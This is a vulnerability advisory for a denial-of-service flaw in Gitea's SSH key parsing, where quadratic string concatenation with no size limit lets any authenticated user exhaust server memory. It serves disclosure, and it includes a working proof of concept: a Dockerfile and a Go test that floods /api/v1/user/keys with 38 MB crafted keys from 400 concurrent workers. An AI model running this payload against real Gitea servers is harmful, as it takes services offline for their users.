PT-2026-63284 · Go · Code.Gitea.Io/Gitea
CVE-2026-56657
·
Published
2026-07-21
·
Updated
2026-07-21
CVSS v4.0
6.9
Medium
| Vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N |
Gitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline.
Root Cause
An attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines — for example, 400,000 lines of 100 characters each (~38 MB total).
The request reaches
CreateUserPublicKey with no prior size check:This calls
CheckPublicKeyString which immediately calls parseKeyString. Inside parseKeyString, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using keyContent += line:https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh key parse.go#L60-L79
Because Go strings are immutable, each
+= at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is N*(N+1)/2, making the operation O(N²) in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key.This is only possible because neither the web form field nor the API struct carries a size constraint:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user form.go#L308-L317
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo key.go#L33-L49
PoC
To reproduce, clone gitea and checkout commit
9155a81b9daf1d46b2380aa91271e623ac947c1e. Then create the following files from the gitea root directory:poc/Dockerfiledocker
FROM golang:1.26-alpine AS builder
RUN apk add --no-cache git build-base
WORKDIR /gitea
# Download deps in a separate layer so rebuilds are fast after source changes.
COPY go.mod go.sum ./
RUN go mod download
# Copy full source (needed for fixtures, config templates, and compilation).
COPY . .
# Compile the integration test binary.
# modernc sqlite (pure Go, no CGO needed) is the default driver.
RUN CGO ENABLED=0 go test -c
-o /integration.test
gitea.dev/tests/integration
# ── runtime image ────────────────────────────────────────────────────────────
FROM alpine:3.22
# git is required at runtime: the test framework initialises git repos.
RUN apk add --no-cache git
COPY --from=builder /integration.test /integration.test
# Keep the full source at /gitea so runtime.Caller(0) path resolution works
# and fixtures / config templates are accessible.
COPY --from=builder /gitea /gitea
RUN adduser -D -u 1000 poc && chown -R poc:poc /gitea
WORKDIR /gitea
USER poc
ENTRYPOINT ["/integration.test",
"-test.run", "TestDoSSSHKeyParserOOM",
"-test.v",
"-test.timeout", "600s"]tests/integration/poc dos test.gogo
package integration
import (
"fmt"
"runtime"
"runtime/debug"
"strings"
"sync"
"sync/atomic"
"testing"
"time"
auth model "gitea.dev/models/auth"
api "gitea.dev/modules/structs"
"gitea.dev/tests"
)
func TestDoSSSHKeyParserOOM(t *testing.T) {
defer tests.PrepareTestEnv(t)()
// Raise the GC trigger so intermediate strings accumulate faster,
// matching realistic server behaviour under sustained allocation load.
debug.SetGCPercent(400)
// Log in as an ordinary user — no special privileges needed.
session := loginUser(t, "user1")
token := getTokenForLoggedInUser(t, session, auth model.AccessTokenScopeWriteUser)
const (
numLines = 400 000
charsPerLine = 100
numWorkers = 400
)
var sb strings.Builder
sb.WriteString("---- BEGIN SSH2 PUBLIC KEY ----
")
sb.WriteString("Comment: dos
")
line := strings.Repeat("a", charsPerLine) + "
"
for i := 0; i < numLines; i++ {
sb.WriteString(line)
}
sb.WriteString("---- END SSH2 PUBLIC KEY ----
")
payload := sb.String()
peakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 << 30)
t.Logf("payload=%.1f MB workers=%d peak theory=%.1f GB",
float64(len(payload))/(1<<20), numWorkers, peakGB)
// Each goroutine marshals its own JSON body. The bytes live in req.Body
// for the entire duration of MakeRequest, so numWorkers concurrent
// goroutines hold numWorkers × payload size bytes simultaneously.
// With numWorkers=400 and payload=38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM.
var (
wg sync.WaitGroup
done atomic.Int64
ready = make(chan struct{})
start = time.Now()
)
for i := 0; i < numWorkers; i++ {
wg.Add(1)
go func(id int) {
defer func() { done.Add(1); wg.Done() }()
<-ready
req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
Title: fmt.Sprintf("dos-%d", id),
Key: payload,
}).AddTokenAuth(token)
MakeRequest(t, req, NoExpectedStatus)
}(i)
}
go func() {
var ms runtime.MemStats
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
for range ticker.C {
runtime.ReadMemStats(&ms)
t.Logf("[%4.0fs] done=%d/%d HeapSys=%.1f GB HeapAlloc=%.1f GB",
time.Since(start).Seconds(), done.Load(), numWorkers,
float64(ms.HeapSys)/(1<<30), float64(ms.HeapAlloc)/(1<<30))
}
}()
close(ready)
wg.Wait()
t.Logf("all done in %.1fs — container survived, increase numWorkers or numLines",
time.Since(start).Seconds())
}When you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following:
sh
docker build -t gitea-dos-poc -f poc/Dockerfile .
docker run --rm --memory=12g --memory-swap=12g gitea-dos-pocWhich prints out:
=== TestDoSSSHKeyParserOOM (tests/integration/poc dos test.go:35)
testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta
testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost)
testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost)
poc dos test.go:62: payload=38.5 MB workers=400 peak theory=29.8 GB... demonstrating high memory consumption. On my end, memory is consumed within 1 second.
Fix
Resource Exhaustion
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Weakness Enumeration
Related Identifiers
Affected Products
Code.Gitea.Io/Gitea